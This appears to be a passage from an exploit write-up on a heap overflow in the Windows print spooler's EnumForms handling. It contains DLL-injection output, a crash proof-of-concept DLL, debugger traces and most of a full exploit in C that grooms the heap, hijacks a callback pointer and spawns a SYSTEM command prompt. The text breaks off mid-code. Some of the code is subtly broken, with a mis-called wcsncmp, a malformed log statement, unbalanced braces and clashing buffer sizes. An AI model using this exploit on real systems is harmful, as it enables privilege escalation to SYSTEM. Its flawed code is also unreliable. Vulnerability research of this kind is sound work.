spoolsv.exe DLL Injector for YEnumForms Test
=====

```

```

[*] DLL: C:\Users\Administrator\ers11\payload_probe.dll
[+] SeDebugPrivilege enabled
[+] spoolsv.exe PID: 4384
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000001F50000
[*] Injecting DLL into spoolsv.exe...
[+] Remote thread created. Waiting for DLL to execute...
[+] Thread completed. Exit code: 0xE3ED0000
[+] DLL loaded at 0xE3ED0000 in spoolsv
[+] spoolsv.exe still running (PID 4384)

```

```
[*] Check C:\Windows\Temp\enumforms_inject_log.txt for results
```

```
C:\Users\Administrator\ers11> type C:\Windows\Temp\enumforms_inject_log.txt
```

```

=== VALID LEVELS ===
[ok] EnumForms(L1, cb=0x0): ERROR 122 (need=10112)
[ok] EnumForms(L2, cb=0x0): ERROR 122 (need=102158)
[ok] EnumForms(L1, cb=0x4000): SUCCESS (ret=144, need=10112)

=== INVALID LEVELS (no client-side validation here!) ===
[BAD] EnumForms(L99, cb=0x1000): ERROR 0 (need=0)
[BAD] EnumForms(L0, cb=0x1000): ERROR 0 (need=0)
[BAD] EnumForms(L3, cb=0x1000): ERROR 0 (need=0)
[BAD] EnumForms(L4294967295, cb=0x1000): ERROR 0 (need=0)
[BAD] EnumForms(L2147483648, cb=0x1000): ERROR 0 (need=0)

=== LARGE BUFFERS (overflow test) ===
[1MB] EnumForms(L1, cb=0x100000): SUCCESS (ret=144, need=10112)
[16MB] EnumForms(L1, cb=0x1000000): SUCCESS (ret=144, need=10112)
[64MB] EnumForms(L1, cb=0x4000000): SUCCESS (ret=144, need=10112)

=== ARITHMETIC OVERFLOW TRIGGERS ===
[2G-64] EnumForms(L1, cb=0x7FFFFFFC0): ERROR 1784 (need=0)

```

If we compare the two tools' output side by side, we have the following:

| Level      | Via winspool.drv (client) | Direct in spoolsv (server) |
|------------|---------------------------|----------------------------|
| 1          | ERROR 122 (INSUFF_BUFFER) | ERROR 122 (INSUFF_BUFFER)  |
| 2          | ERROR 122 (INSUFF_BUFFER) | ERROR 122 (INSUFF_BUFFER)  |
| 0          | ERROR 124 (INVALID_LEVEL) | ERROR 0 (accepted!)        |
| 3          | ERROR 124 (INVALID_LEVEL) | ERROR 0 (accepted!)        |
| 99         | ERROR 124 (INVALID_LEVEL) | ERROR 0 (accepted!)        |
| 0x80000000 | ERROR 124 (INVALID_LEVEL) | ERROR 0 (accepted!)        |
| 0xFFFFFFFF | ERROR 124 (INVALID_LEVEL) | ERROR 0 (accepted!)        |

  

| Level / cbBuf | via winspool.drv (client) | direct -> server (SYSTEM) |
|---------------|---------------------------|---------------------------|
| 1   2         | ERROR 122 (need size)     | ERROR 122 (need size)     |
| 99   0   3    | ERROR 124 (INVALID_LEVEL) | ERROR 0 (accepted!)       |
| 0xFFFFFFFF    | ERROR 124 (INVALID_LEVEL) | ERROR 0 (accepted!)       |
| cbBuf = ~1 GB | buffer sized to match     | SUCCESS (walks it all)    |

Based on the table above, we have verified that our approach via OOB write has worked, and the server accepts varied sizes because there is not check on the maximum size. The next step is to move from OOB

write to a true heap overflow. The first attempt is to cause a crash on `spoolsv.exe` via `spoolss!EnumFormsW` function, so we cannot use SEH to protect the code, which follows below:

```
/*
 * payload_realcrash.c - crash spoolsv.exe via spoolss!EnumFormsW. NO SEH: the AV
 * propagates and kills spoolsv.
 * Compile: cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS payload_realcrash.c
 /Fe:payload_enumforms.dll
 */

#include <windows.h>
#include <stdio.h>
#define LOG_FILE "C:\\Windows\\Temp\\enumforms_inject_log.txt"
static FILE *g_log = NULL;
static void LOG(const char *fmt, ...) {
 va_list ap; if (!g_log) return;
 va_start(ap, fmt); vfprintf(g_log, fmt, ap); va_end(ap); fflush(g_log);
}
typedef BOOL (WINAPI *PFN_OpenPrinterW)(LPWSTR, LPHANDLE, LPVOID);
typedef BOOL (WINAPI *PFN_EnumFormsW)(HANDLE, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *PFN_ClosePrinter)(HANDLE);

static DWORD WINAPI WorkerThread(LPVOID param) {
 (void)param;
 HMODULE hSpoolss; PFN_OpenPrinterW pOpen; PFN_EnumFormsW pEnum; PFN_ClosePrinter pClose;
 HANDLE hPrinter = NULL; DWORD needed = 0, returned = 0; BYTE *buffer;
 DWORD allocSize = 0x10000; /* 64KB real allocation */
 DWORD fakeCbBuf = 0x7FFFFFF0; /* claim ~2GB */
 Sleep(1000);
 g_log = fopen(LOG_FILE, "w"); if (!g_log) return 1;

 hSpoolss = GetModuleHandleW(L"spoolss.dll");
 if (!hSpoolss) hSpoolss = LoadLibraryW(L"spoolss.dll");
 pOpen = (PFN_OpenPrinterW)GetProcAddress(hSpoolss, "OpenPrinterW");
 pEnum = (PFN_EnumFormsW)GetProcAddress(hSpoolss, "EnumFormsW");
 pClose = (PFN_ClosePrinter)GetProcAddress(hSpoolss, "ClosePrinter");
 if (!pOpen || !pEnum || !pClose) { LOG("[-] Missing exports\n"); fclose(g_log); return 1; }

 __try {
 if (!pOpen(NULL, &hPrinter, NULL)) { LOG("[-] OpenPrinter: %u\n", GetLastError());
 fclose(g_log); return 1; }
 } __except(EXCEPTION_EXECUTE_HANDLER) { LOG("[-] OpenPrinter exception\n"); fclose(g_log);
 return 1; }

 /* Allocate buffer: 64KB real + guard page */
 buffer = (BYTE *)VirtualAlloc(NULL, allocSize + 0x1000, MEM_RESERVE, PAGE_NOACCESS);
 if (!buffer) { LOG("[-] VirtualAlloc reserve failed\n"); fclose(g_log); return 1; }
 VirtualAlloc(buffer, allocSize, MEM_COMMIT, PAGE_READWRITE); /* commit only 64KB */
 /* the page at buffer+64KB stays PAGE_NOACCESS -- any write there = AV */

 LOG("[*] *** TRIGGERING CRASH NOW ***\n");
 fflush(g_log); fclose(g_log); g_log = NULL;

 needed = 0; returned = 0;
 /* THE CRASH CALL -- NO __try/__except. If it AVs, spoolsv dies. */
 BOOL result = pEnum(hPrinter, 1, buffer, fakeCbBuf, &needed, &returned);

 /* If we reach here the server survived; try the integer-overflow value too */
 g_log = fopen(LOG_FILE, "a");
 if (g_log) { LOG("\n[!] survived cbBuf=0x7FFFFFF0: result=%d err=%u\n", result,
 GetLastError());
 fclose(g_log); g_log = NULL; }
 needed = 0; returned = 0;
 result = pEnum(hPrinter, 1, buffer, 0xFFFFD880, &needed, &returned);

 pClose(hPrinter);
 VirtualFree(buffer, 0, MEM_RELEASE);
}
```

```
 return 0;
}
BOOL APIENTRY DLLMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
 (void)reserved;
 if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); CreateThread(NULL, 0,
WorkerThread, NULL, 0, NULL); }
 return TRUE;
}
```

The general idea of this program is to allocate 0x10000+0x1000 bytes reserved as **PAGE\_NOACCESS**, then commit only the first 0x10000 as **PAGE\_READWRITE**, where the trailing page is a guard page, and any write into it will be faulty. The subsequent task is to call **EnumFormsW** function directly from redirector with **cbBuf=0x7FFFFFF00** (about 2 GB), but with real buffer of 64 KB, and without wrapping this call with **try/except**. **PackStrings** routine writes the 144 form names starting from buffer + **cbBuf** downward, and the first name lands about 2 GB past a pre-determined 64 KB buffer, which is an unmapped memory region. As expected, the write operation faults, and terminates **spoolsv.exe** process.

To build and reproduce the program, execute the following commands, first on mainstream build and then on Canary build too:

```
C:\Users\Administrator\ers11> call "C:\Program Files\Microsoft Visual
Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"
```

```
C:\Users\Administrator\ers11> ver
```

```
Microsoft Windows [Version 10.0.26300.9550]
```

```
C:\Users\Administrator\ers11> cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS payload_realcrash.c
/Fe:payload_enumforms.dll
Microsoft (R) C/C++ Optimizing Compiler Version 19.44.35222 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
payload_realcrash.c
Microsoft (R) Incremental Linker Version 14.44.35222.0
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
/dll
/implib:payload_enumforms.lib
/out:payload_enumforms.dll
payload_realcrash.obj
```

```
C:\Users\Administrator\ers11> inject_enumforms.exe payload_enumforms.dll
```

```
=====
spoolsv.exe DLL Injector for YEnumForms Test
=====
```

```
[*] DLL: C:\Users\Administrator\ers11\payload_enumforms.dll
[+] SeDebugPrivilege enabled
[+] spoolsv.exe PID: 2408
[+] Process opened
[+] DLL path written to spoolsv @ 0x0000000001240000
[*] Injecting DLL into spoolsv.exe...
[+] Remote thread created. Waiting for DLL to execute...
[+] Thread completed. Exit code: 0xDDC20000
[+] DLL loaded at 0xDDC20000 in spoolsv
[+] spoolsv.exe still running (PID 2408)
```

```
[*] Check C:\Windows\Temp\enumforms_inject_log.txt for results
```

```
C:\Users\Administrator\ers11> type C:\Windows\Temp\enumforms_inject_log.txt
[*] *** TRIGGERING CRASH NOW ***
```

```
PS C:\Users\Administrator\ers11> Get-Process | grep spoolsv
```

```

460 52 5772 21900 0.19 2408 0 spoolsv
0 50 1236 24 0.00 8948 0 spoolsv

```

```
C:\Users\Administrator\ers11> call "C:\Program Files\Microsoft Visual
Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"
```

```
C:\Users\Administrator\ers11> ver
```

```
Microsoft Windows [Version 10.0.29683.1000]
```

```
C:\Users\Administrator\ers11> cl /W4 /O2 /LD /D_CRT_SECURE_NO_WARNINGS payload_realcrash.c
```

```
Microsoft (R) C/C++ Optimizing Compiler Version 19.34.31937 for x64
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
payload_realcrash.c
Microsoft (R) Incremental Linker Version 14.34.31937.0
Copyright (C) Microsoft Corporation. All rights reserved.
```

```

/out:payload_realcrash.dll
/dll
/implib:payload_realcrash.lib
payload_realcrash.obj

```

```
C:\Users\Administrator\ers11> inject_enumforms.exe payload_enumforms.dll
```

```

=====
spoolsv.exe DLL Injector for YEnumForms Test
=====

```

```

[*] DLL: C:\Users\Administrator\ers11\payload_enumforms.dll
[+] SeDebugPrivilege enabled
[+] spoolsv.exe PID: 15444
[+] Process opened
[+] DLL path written to spoolsv @ 0x00000000000B70000
[*] Injecting DLL into spoolsv.exe...
[+] Remote thread created. Waiting for DLL to execute...
[+] Thread completed. Exit code: 0x66850000
[+] DLL loaded at 0x66850000 in spoolsv
[+] spoolsv.exe still running (PID 15444)

```

```
[*] Check C:\Windows\Temp\enumforms_inject_log.txt for results
```

```
C:\Users\Administrator\ers11> type C:\Windows\Temp\enumforms_inject_log.txt
```

```
[*] *** TRIGGERING CRASH NOW ***
```

```

PS C:\Users\Administrator\ers11> Get-Process | grep spoolsv
172 14 1868 9628 0.02 14004 0 spoolsv

```

As we can see, the behavior of the `spoolsv.exe` process after the crash has occurred depends on the build. On mainstream build, the fault leaves the process alive (spooler wraps the copy in a WIL exception handler, which is visible as `localspl!wil::ResultFromException` in the stack), but on Canary build the `spoolsv.exe` process is restarted, and the Application event log records *"Faulting application name: spoolsv.exe, version: 10.0.29683.1000"*.

To examine it closer, on the Canary, you can attach a debugger to the process (now it is 14004) that breaks on access violation and, opening a second terminal, you repeat the experience and inject the DoS DLL:

```

C:\Users\Administrator> ver
Microsoft Windows [Version 10.0.29683.1000]

```

```
C:\Users\Administrator> cdb -pn spoolsv.exe -c "sxe -c \"k 30; q\" av; g"
```

```

Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

```

```

*** wait with pending attach
***** Path validation summary *****
Response Time (ms) Location
Deferred
srv*c:\symbols*https://msdl.microsoft.com/download/symbols
...
Executable search path is:
ModLoad: 00007ff6`3a9a0000 00007ff6`3aa88000 C:\WINDOWS\System32\spoolsv.exe
ModLoad: 00007ff8`74810000 00007ff8`74a78000 C:\WINDOWS\SYSTEM32\ntdll.dll
ModLoad: 00007ff8`73c30000 00007ff8`73cef000 C:\WINDOWS\System32\KERNEL32.DLL
....
ModLoad: 00007ff8`717d0000 00007ff8`71834000 C:\WINDOWS\System32\WINSTA.dll
ModLoad: 00007ff8`707f0000 00007ff8`70827000 C:\WINDOWS\system32\rsaenh.dll
ModLoad: 00007ff8`71070000 00007ff8`7107c000 C:\WINDOWS\System32\CRYPTBASE.dll
(36b4.31e8): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ff8`74936690 cc int 3

0:007> cdb: Reading initial command 'sxe -c "k 30; q" av; g'
ModLoad: 00007ff8`65070000 00007ff8`65099000 C:\Users\Administrator\ers11\payload_enumforms.dll
(258c.3da8): Access violation - code c0000005 (first chance)

Child-SP RetAddr Call Site
00000000`01c4f888 00007ff6`3a9ab39e ucrtbase!memcpy+0x93 ←access violation
00000000`01c4f890 00007ff8`66851f30 spoolsv!PackStrings+0x9e ←copying from strings
00000000`01c4f8f0 00007ff8`4d4b7c61 SP00LSS!PackStrings+0x20
00000000`01c4f930 00007ff8`4d5383f9 localspl!CopyIniFormToFormInfo+0x2b1
00000000`01c4fbc0 00007ff8`4d4c0760 localspl!InternalEnumForms+0xf9
00000000`01c4fc40 00007ff8`4d4c0695
localspl!<lambda_48e7f394dc3b3fcb2d72fcafaa33824f>::operator()+0xb8
00000000`01c4fc80 00007ff8`4d538ba3
localspl!wil::ResultFromException<<lambda_48e7f394dc3b3fcb2d72fcafaa33824f> >+0x9
00000000`01c4fcb0 00007ff6`3a9adb86 localspl!SplEnumForms+0x63
00000000`01c4fd30 00007ff8`6685cc16 spoolsv!EnumFormsW+0x56
*** WARNING: Unable to verify checksum for C:\Users\Administrator\ers11\payload_enumforms.dll
00000000`01c4fd80 00007ff8`65071254 SP00LSS!EnumFormsW+0x66
00000000`01c4fdd0 00007ff8`73c5ee53 payload_enumforms+0x1254
00000000`01c4fe30 00007ff8`7488a900 KERNEL32!BaseThreadInitThunk+0x13
00000000`01c4fe60 00000000`00000000 ntdll!RtlUserThreadStart+0x20

quit:
NatVis script unloaded from 'C:\Program Files (x86)\Windows ...
NatVis script unloaded from 'C:\Program Files (x86)\Windows
Kits\10\Debuggers\x64\Visualizers\Windows.Data.Json.natvis'
...
C:\Users\Administrator>

```

The guard page crash provided us with a clear indication that the write escapes the buffer, but we have missed valuable information on the write itself because the operation has happened against a guard page and not on a groomed heap, where we could follow the content being written and also its offset. Therefore, real exploitation is the next task.

## 09. Exploitation

There are two exploit version. The first one exploit (variant A), and you need to check the log to get proof of the exploitation. The second variant is slightly different because it opens a command prompt where we

can verify that we elevated privilege from Administrator to System. Both complete exploit source codes follow below:

```
/*
 * exploit_stage4_exec_clean.c -- EnumForms heap-overflow EoP, variant A (token proof).
 * Injected into spoolsv.exe (Session 0, no console), so progress is written to a log
 * file via LOG() rather than printf -- each Step is announced with a banner and
 * reports what it did, the same staged style the injector prints to the console.
 * Build: cl /W4 /O2 /LD exploit_stage4_exec_clean.c /Fe:payload_token.dll
 * Run: inject_enumforms.exe payload_token.dll (admin + SeDebug)
 * Output: C:\Windows\Temp\enumforms_inject_log.txt (staged log)
 * C:\Windows\Temp\EXPLOITED.txt (SYSTEM token proof)
 */

#include <windows.h>
#include <sddl.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")

#define LOG_FILE "C:\\Windows\\Temp\\enumforms_inject_log.txt"
#define PROOF_FILE "C:\\Windows\\Temp\\EXPLOITED.txt"

static FILE *g_log = NULL;

static void LOG(const char *fmt, ...) {
 va_list ap;
 if (!g_log) return;
 va_start(ap, fmt);
 vfprintf(g_log, fmt, ap);
 va_end(ap);
 fflush(g_log);
}

static void STEP(const char *title) {
 LOG("\n=====\\n");
 LOG(" %s\\n", title);
 LOG("=====\\n");
}

typedef BOOL (WINAPI *PFN_OpenPrinterW)(LPWSTR, LPHANDLE, LPVOID);
typedef BOOL (WINAPI *PFN_EnumFormsW)(HANDLE, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD);
typedef BOOL (WINAPI *PFN_ClosePrinter)(HANDLE);
typedef BOOL (WINAPI *PFN_AddFormW)(HANDLE, DWORD, LPBYTE);
typedef BOOL (WINAPI *PFN_DeleteFormW)(HANDLE, LPWSTR);

typedef void (*PFN_CALLBACK)(void);

typedef struct _SPRAY_OBJ {
 PFN_CALLBACK callback;
 DWORD marker;
 DWORD index;
 BYTE padding[1];
} SPRAY_OBJ;

#define SPRAY_COUNT 300
#define HOLE_INTERVAL 4

static SPRAY_OBJ *g_spray[SPRAY_COUNT];
static HANDLE g_heap;
static PVOID g_shellcode = NULL;
static wchar_t g_form_name[128];

static void __cdecl shellcode_func(void) {
 HANDLE hToken = NULL, hFile; DWORD written; char buf[4096]; int pos = 0;
 pos += sprintf_s(buf + pos, sizeof(buf) - pos,
```

```

"=====\\r\\n"
" EXPLOIT PROOF: Code Execution as SYSTEM\\r\\n"
" spoolsv.exe EnumForms Heap Overflow (CWE-122 / CWE-787)\\r\\n"
"=====\\r\\n\\r\\n");
pos += sprintf_s(buf + pos, sizeof(buf) - pos,
"Process: spoolsv.exe (PID %u)\\r\\n", GetCurrentProcessId());
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
 BYTE tu[256]; DWORD rl = 0;
 if (GetTokenInformation(hToken, TokenUser, tu, sizeof(tu), &rl)) {
 WCHAR name[128] = {0}, dom[128] = {0}; DWORD nl = 128, dl = 128; SID_NAME_USE use;
 if (LookupAccountSidW(NULL, ((TOKEN_USER *)tu)->User.Sid, name, &nl, dom, &dl, &use))
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "Token User: %S\\%S\\r\\n", dom,
name);
 LPWSTR sid = NULL;
 if (ConvertSidToStringSidW(((TOKEN_USER *)tu)->User.Sid, &sid)) {
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "Token SID: %S\\r\\n", sid);
LocalFree(sid);
 }
 }
 BYTE tp[2048];
 if (GetTokenInformation(hToken, TokenPrivileges, tp, sizeof(tp), &rl)) {
 TOKEN_PRIVILEGES *pv = (TOKEN_PRIVILEGES *)tp;
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "Token Privileges: %u\\r\\n", pv->PrivilegeCount);
 for (DWORD k = 0; k < pv->PrivilegeCount && k < 30; k++) {
 WCHAR pn[128] = {0}; DWORD pl = 128;
 if (LookupPrivilegeNameW(NULL, &pv->Privileges[k].Luid, pn, &pl)) {
 DWORD a = pv->Privileges[k].Attributes;
 const char *st = (a & SE_PRIVILEGE_ENABLED) ? "Enabled" :
(a & SE_PRIVILEGE_ENABLED_BY_DEFAULT) ? "Default" :
"Disabled";
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, " %S [%s]\\r\\n", pn, st);
 }
 }
 }
 BYTE ti[128];
 if (GetTokenInformation(hToken, TokenIntegrityLevel, ti, sizeof(ti), &rl)) {
 TOKEN_MANDATORY_LABEL *lbl = (TOKEN_MANDATORY_LABEL *)ti;
 DWORD *sa = GetSidSubAuthority(lbl->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(lbl->Label.Sid) - 1));
 const char *lv = (*sa >= 0x4000) ? "SYSTEM" : (*sa >= 0x3000) ? "High" :
(*sa >= 0x2000) ? "Medium" : "Low";
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "Integrity Level: %s (0x%X)\\r\\n", lv,
*sa);
 }
 CloseHandle(hToken);
}
pos += sprintf_s(buf + pos, sizeof(buf) - pos, "\\r\\n[*] Spawning SYSTEM shell...\\r\\n");
STARTUPINFO si = {0}; si.cb = sizeof si; PROCESS_INFORMATION pi = {0};
WCHAR sysDir[MAX_PATH], cmd[MAX_PATH]; GetSystemDirectoryW(sysDir, MAX_PATH);
swprintf_s(cmd, MAX_PATH, L"%s\\cmd.exe", sysDir);
if (CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
 pos += sprintf_s(buf + pos, sizeof(buf) - pos, "[+] SYSTEM shell PID: %lu\\r\\n",
pi.dwProcessId);
 CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
}
hFile = CreateFileA(PROOF_FILE, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, buf, pos, &written, NULL);
CloseHandle(hFile); }
}

static void encode_address_as_form_name(UINT_PTR addr, wchar_t *name, int max_len) {
 BYTE *bytes = (BYTE *)&addr; int i, wchar_count = 0;
 name[0] = 0;
 for (i = 0; i < 8; i += 2) {

```

```
 wchar_t wc = (wchar_t)(bytes[i] | (bytes[i+1] << 8));
 if (wc == 0) break;
 name[wchar_count++] = wc;
 if (wchar_count >= max_len - 1) break;
 }
 name[wchar_count] = 0;
}

static DWORD WINAPI WorkerThread(LPVOID param) {
 (void)param;
 HMODULE hSpoolss;
 PFN_OpenPrinterW pOpen; PFN_EnumFormsW pEnum; PFN_ClosePrinter pClose;
 PFN_AddFormW pAddForm; PFN_DeleteFormW pDeleteForm;
 HANDLE hPrinter = NULL; DWORD needed = 0, returned = 0; int i;
 BYTE *buffer = NULL;

 Sleep(1000);

 g_log = fopen(LOG_FILE, "w");
 if (!g_log) return 1;

 LOG("=====\n");
 LOG(" EXPLOIT STAGE 4: Code Execution via Heap Overflow\n");
 LOG(" PID: %u (spoolsv.exe, NT AUTHORITY\\SYSTEM)\n", GetCurrentProcessId());
 LOG("=====\n");

 STEP("STEP 0: BUILD TRAMPOLINE AND ENCODE TARGET ADDRESS");
 LOG("[*] Step 0: Preparing shellcode function\n");
 UINT_PTR shellcode_addr = (UINT_PTR)&shellcode_func;
 LOG(" shellcode_func at: 0x%p\n", (void *)shellcode_addr);

 BYTE *addr_bytes = (BYTE *)&shellcode_addr;
 LOG(" Address bytes: ");
 for (i = 0; i < 8; i++) LOG("%02X ", addr_bytes[i]);
 LOG("\n");

 BOOL has_null_wchar = FALSE;
 for (i = 0; i < 6; i += 2) {
 wchar_t wc = (wchar_t)(addr_bytes[i] | (addr_bytes[i+1] << 8));
 if (wc == 0) { has_null_wchar = TRUE; break; }
 }

 if (has_null_wchar) {
 LOG(" [!] Address has a null wchar in the low 6 bytes\n");
 LOG(" [*] Allocating a null-free executable page for a trampoline...\n");
 for (UINT_PTR try_addr = 0x10010000; try_addr < 0x7FFF0000; try_addr += 0x10000) {
 BYTE *tb = (BYTE *)&try_addr;
 wchar_t w0 = (wchar_t)(tb[0] | (tb[1] << 8));
 wchar_t w1 = (wchar_t)(tb[2] | (tb[3] << 8));
 if (w0 != 0 && w1 != 0) {
 g_shellcode = VirtualAlloc((PVOID)try_addr, 4096,
 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

 if (g_shellcode) {
 LOG(" [+] Shellcode at: 0x%p (null-free)\n", g_shellcode);
 BYTE *code = (BYTE *)g_shellcode;
 code[0] = 0x48; code[1] = 0xB8;
 *(UINT_PTR *) (code + 2) = shellcode_addr;
 code[10] = 0xFF; code[11] = 0xE0;
 shellcode_addr = (UINT_PTR)g_shellcode;
 break;
 }
 }
 }
 }
 if (!g_shellcode) {
 LOG(" [-] Cannot allocate null-free address\n");
 LOG(" [*] Falling back to direct address\n");
 }
}
```

```
} else {
 LOG(" [+] Address is null-free; encoding it directly (no trampoline)\n");
}

encode_address_as_form_name(shellcode_addr, g_form_name, 128);
LOG(" Form name encoding: L\"");
for (i = 0; g_form_name[i]; i++) LOG("\\x%04X", g_form_name[i]);
LOG("\n" + null"\n");

UINT_PTR decoded = 0;
BYTE *dec_bytes = (BYTE *)&decoded;
for (i = 0; g_form_name[i] && i < 4; i++) {
 dec_bytes[i*2] = (BYTE)(g_form_name[i] & 0xFF);
 dec_bytes[i*2+1] = (BYTE)(g_form_name[i] >> 8);
}
LOG(" Decoded address: 0x%p %s\n", (void *)decoded,
 decoded == shellcode_addr ? "(MATCH!)" : "(MISMATCH!)");
LOG("[+] Step 0 complete: callback value ready\n");

STEP("STEP 1: RESOLVE ROUTER EXPORTS AND OPEN PRINTER");
hSpoolss = GetModuleHandleW(L"spoolss.dll");
if (!hSpoolss) hSpoolss = LoadLibraryW(L"spoolss.dll");
LOG("[*] spoolss.dll at 0x%p\n", (void *)hSpoolss);
pOpen = (PFN_OpenPrinterW)GetProcAddress(hSpoolss, "OpenPrinterW");
pEnum = (PFN_EnumFormsW)GetProcAddress(hSpoolss, "EnumFormsW");
pClose = (PFN_ClosePrinter)GetProcAddress(hSpoolss, "ClosePrinter");
pAddForm = (PFN_AddFormW)GetProcAddress(hSpoolss, "AddFormW");
pDeleteForm = (PFN_DeleteFormW)GetProcAddress(hSpoolss, "DeleteFormW");
if (!pOpen || !pEnum || !pClose || !pAddForm || !pDeleteForm) {
 LOG("[-] Could not resolve one or more router exports\n");
 fclose(g_log); g_log = NULL; return 1;
}
LOG(" [+] OpenPrinterW/EnumFormsW/ClosePrinter/AddFormW/DeleteFormW resolved\n");

__try {
 if (!pOpen(NULL, &hPrinter, NULL)) {
 LOG("[-] OpenPrinter: %u\n", GetLastError());
 fclose(g_log); return 1;
 }
} __except(1) {
 LOG("[-] OpenPrinter exception\n");
 fclose(g_log); return 1;
}
LOG(" [+] Printer handle: 0x%p\n", (void *)hPrinter);
LOG("[+] Step 1 complete: router ready, local print server opened\n");

STEP("STEP 2: PLANT FORM WHOSE NAME ENCODES THE ADDRESS");
LOG("\n[*] Step 2: Adding form with encoded address name\n");
{
 typedef struct {
 DWORD Flags; LPWSTR pName; SIZEL Size; RECTL ImageableArea;
 } MY_FORM_INFO_1;

 MY_FORM_INFO_1 fi = {0};
 fi.Flags = 0;
 fi.pName = g_form_name;
 fi.Size.cx = 215900;
 fi.Size.cy = 279400;
 fi.ImageableArea.right = 215900;
 fi.ImageableArea.bottom = 279400;

 pDeleteForm(hPrinter, g_form_name);
 if (pAddForm(hPrinter, 1, (LPBYTE)&fi))
 LOG(" [+] Form added\n");
 else
 LOG(" [-] AddForm: %u\n", GetLastError());
}
```

```
LOG("[+] Step 2 complete: attacker bytes are now in the form store\n");

STEP("STEP 3: MEASURE LAYOUT (needed, custom_off)");
pEnum(hPrinter, 1, NULL, 0, &needed, &returned);
LOG("\n[*] Step 3: needed=%u, forms=%u\n", needed, returned);

DWORD custom_off = 0;
{
 BYTE *tmp = (BYTE *)HeapAlloc(GetProcessHeap(), 0, needed);
 if (tmp) {
 DWORD n = 0, r = 0;
 __try { pEnum(hPrinter, 1, tmp, needed, &n, &r); } __except(1) {}
 for (i = 0; i < (int)r; i++) {
 wchar_t *name = *(wchar_t **)(tmp + i*40 + 8);
 if (name && wcsncmp(name, g_form_name) == 0) {
 custom_off = (DWORD)((BYTE *)name - tmp);
 LOG(" Custom form at index %d, string at buf+0x%X\n",
 i, custom_off);
 break;
 }
 }
 HeapFree(GetProcessHeap(), 0, tmp);
 }
}

if (custom_off == 0) {
 LOG("[-] Cannot find custom form string\n");
 goto done;
}
LOG("[+] Step 3 complete: our name packs at buf+0x%X in an honest buffer\n", custom_off);

STEP("STEP 4: SPRAY CALLBACK OBJECTS AND OPEN HOLES");
LOG("\n[*] Step 4: Spraying callback objects (size=0x%X)\n", needed);
g_heap = GetProcessHeap();

for (i = 0; i < SPRAY_COUNT; i++) {
 g_spray[i] = (SPRAY_OBJ *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
 if (g_spray[i]) {
 g_spray[i]->callback = NULL;
 g_spray[i]->marker = 0xCAFEBADE;
 g_spray[i]->index = i;
 }
}
LOG(" [+] Sprayed %d SPRAY_OBJ blocks (marker 0xCAFEBADE)\n", SPRAY_COUNT);

for (i = HOLE_INTERVAL; i < SPRAY_COUNT; i += HOLE_INTERVAL) {
 if (g_spray[i]) { HeapFree(g_heap, 0, g_spray[i]); g_spray[i] = NULL; }
}
LOG(" [+] Freed every %d-th block to open holes\n", HOLE_INTERVAL);
LOG("[+] Step 4 complete: heap groomed\n");

STEP("STEP 5: PLACE VICTIM BUFFER AND FIND THE NEIGHBOR");
buffer = (BYTE *)HeapAlloc(g_heap, HEAP_ZERO_MEMORY, needed);
LOG(" buffer at %p\n", buffer);

SPRAY_OBJ *target = NULL;
int tid = -1;
LONGLONG min_d = 0x7FFFFFFF;
for (i = 0; i < SPRAY_COUNT; i++) {
 if (g_spray[i]) {
 LONGLONG d = (LONGLONG)g_spray[i] - (LONGLONG)buffer;
 if (d > 0 && d < min_d) { min_d = d; tid = i; target = g_spray[i]; }
 }
}
```

```
if (!target) { LOG("[-] No adjacent target\n"); goto done; }

DWORD delta = (DWORD)min_d;
LOG(" target spray[%d] at %p (delta=0x%X)\n", tid, target, delta);
LOG("[+] Step 5 complete: victim dropped next to spray[%d]\n", tid);

STEP("STEP 6: PRECISION OVERFLOW (cbBuf = needed + shift)");
DWORD shift = delta - custom_off;
DWORD cbBuf = needed + shift;
LOG("\n[*] Step 6: Precision overflow\n");
LOG(" custom_off=0x%X, delta=0x%X, shift=0x%X, cbBuf=0x%X\n",
 custom_off, delta, shift, cbBuf);

__try {
 DWORD n = 0, r = 0;
 pEnum(hPrinter, 1, buffer, cbBuf, &n, &r);
 LOG(" Overflow triggered: ret=%u\n", r);
} __except(EXCEPTION_EXECUTE_HANDLER) {
 LOG(" EXCEPTION during overflow\n");
}
LOG("[+] Step 6 complete: packed name deposited at the neighbor\n");

STEP("STEP 7: VERIFY THE CORRUPTION AND EXECUTE");
LOG("\n[*] Step 7: Checking target corruption\n");
__try {
 UINT_PTR written_ptr = (UINT_PTR)target->callback;
 LOG(" target->callback = 0x%p\n", (void *)written_ptr);
 LOG(" shellcode_addr = 0x%p\n", (void *)shellcode_addr);
 LOG(" target->marker = 0x%08X (was 0xCAFEBAE)\n", target->marker);

 if (written_ptr == shellcode_addr) {
